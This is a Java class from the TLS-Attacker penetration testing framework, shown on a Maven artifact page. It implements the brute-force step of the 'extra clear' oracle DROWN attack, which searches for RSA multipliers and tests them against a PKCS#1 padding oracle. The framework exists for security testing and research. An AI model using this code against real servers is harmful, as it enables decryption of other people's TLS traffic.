All Downloads are FREE. Search and download functionalities are using the official Maven repository.

de.rub.nds.tlsattacker.attacks.impl.drown.ExtraClearStep2Callable Maven / Gradle / Ivy

/**
 * TLS-Attacker - A Modular Penetration Testing Framework for TLS
 *
 * Copyright 2014-2021 Ruhr University Bochum, Paderborn University, Hackmanit GmbH
 *
 * Licensed under Apache License, Version 2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 */

package de.rub.nds.tlsattacker.attacks.impl.drown;

import de.rub.nds.modifiablevariable.util.ArrayConverter;
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.ExtraClearDrownOracle;
import java.math.BigInteger;
import java.util.concurrent.Callable;

/**
 * Callable implementing the brute-force part of step 2 of an "extra clear" oracle DROWN attack: Finding a suitable
 * multiplier s and testing it both offline and using the oracle, as described in appendix A.3 of the DROWN paper.
 */
class ExtraClearStep2Callable implements Callable {

    private ExtraClearDrownOracle oracle;
    private byte[] shiftedOldCiphertext;
    private int lenM;
    private BigInteger rsaE;
    private BigInteger modulus;
    private BigInteger candidateS;
    private BigInteger candidateStepS;
    private BigInteger maxS;
    private BigInteger shiftedOldPlaintext;

    public ExtraClearStep2Callable(ExtraClearDrownOracle oracle, byte[] shiftedOldCiphertext, int lenM, BigInteger e,
        BigInteger modulus, BigInteger initialSCandidate, BigInteger candidateStepS, BigInteger shiftedOldPlaintext) {
        this.oracle = oracle;
        this.shiftedOldCiphertext = shiftedOldCiphertext;
        this.lenM = lenM;
        this.rsaE = e;
        this.modulus = modulus;
        this.candidateS = initialSCandidate;
        this.candidateStepS = candidateStepS;
        this.shiftedOldPlaintext = shiftedOldPlaintext;

        maxS = BigInteger.valueOf(2).modPow(BigInteger.valueOf(30), modulus);
    }

    @Override
    public BigInteger call() {
        while (candidateS.compareTo(maxS) <= 0) {
            // Offline part: Find a suitable s without querying the oracle
            // Appendix A.3 of the DROWN paper describes a way to speed this
            // up using lattices, but I don't know enough about lattices :-(
            byte[] plaintextCandidate;
            do {
                if (Thread.currentThread().isInterrupted()) {
                    return null;
                }

                candidateS = candidateS.add(candidateStepS);
                plaintextCandidate = ArrayConverter
                    .bigIntegerToByteArray(shiftedOldPlaintext.multiply(candidateS).mod(modulus), lenM, false);
            } while ((plaintextCandidate.length > lenM) || (plaintextCandidate[0] != 0x00)
                || (plaintextCandidate[1] != 0x02));

            // Online part: Check if s is really suitable using the oracle
            byte[] ciphertextCandidate = ArrayConverter.bigIntegerToByteArray(
                candidateS.modPow(rsaE, modulus).multiply(new BigInteger(shiftedOldCiphertext)).mod(modulus), lenM,
                true);
            if (oracle.checkPKCSConformity(ciphertextCandidate)) {
                return candidateS;
            }
        }
        return null;
    }

}




© 2015 - 2024 Weber Informatics LLC | Privacy Policy